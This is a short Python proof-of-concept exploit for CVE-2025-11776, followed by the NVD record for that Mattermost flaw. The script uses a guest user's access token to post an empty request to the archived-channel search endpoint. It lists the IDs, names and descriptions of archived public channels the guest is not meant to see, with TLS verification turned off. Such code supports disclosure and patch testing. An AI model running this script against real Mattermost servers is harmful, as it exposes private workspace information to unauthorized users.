CVE-2025-11776

import requests import json # CVE-2025-11776 PoC - Mattermost Archived Channel Discovery # Target: Mattermost versions < 11 # Endpoint: /api/v4/teams/{team_id}/channels/search_archived BASE_URL = "https://target-mattermost-server.com" TEAM_ID = "target-team-id" ACCESS_TOKEN = "guest-user-access-token" def discover_archived_channels(): """ This PoC demonstrates how a guest user can discover archived public channels that they should not have access to view. """ endpoint = f"{BASE_URL}/api/v4/teams/{TEAM_ID}/channels/search_archived" headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Empty payload triggers return of all archived channels payload = {} try: response = requests.post(endpoint, headers=headers, json=payload, verify=False) if response.status_code == 200: channels = response.json() print(f"[+] Successfully discovered {len(channels)} archived channels:") for channel in channels: print(f" - Channel ID: {channel.get('id')}") print(f" Name: {channel.get('name')}") print(f" Display Name: {channel.get('display_name')}") print(f" Description: {channel.get('description')}") print() return channels else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-11776 PoC - Mattermost Archived Channel Information Disclosure") print("=" * 70) discover_archived_channels()

{"cve": {"id": "CVE-2025-11776", "sourceIdentifier": "[email protected]", "published": "2025-11-14T08:15:43.753", "lastModified": "2025-11-17T17:52:51.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions <11 fail to properly restrict access to archived channel search API which allows guest users to discover archived public channels via the `/api/v4/teams/{team_id}/channels/search_archived` endpoint"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.0.0", "matchCriteriaId": "0E0A9668-C657-425B-BD7E-D1A0CC5648A8"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}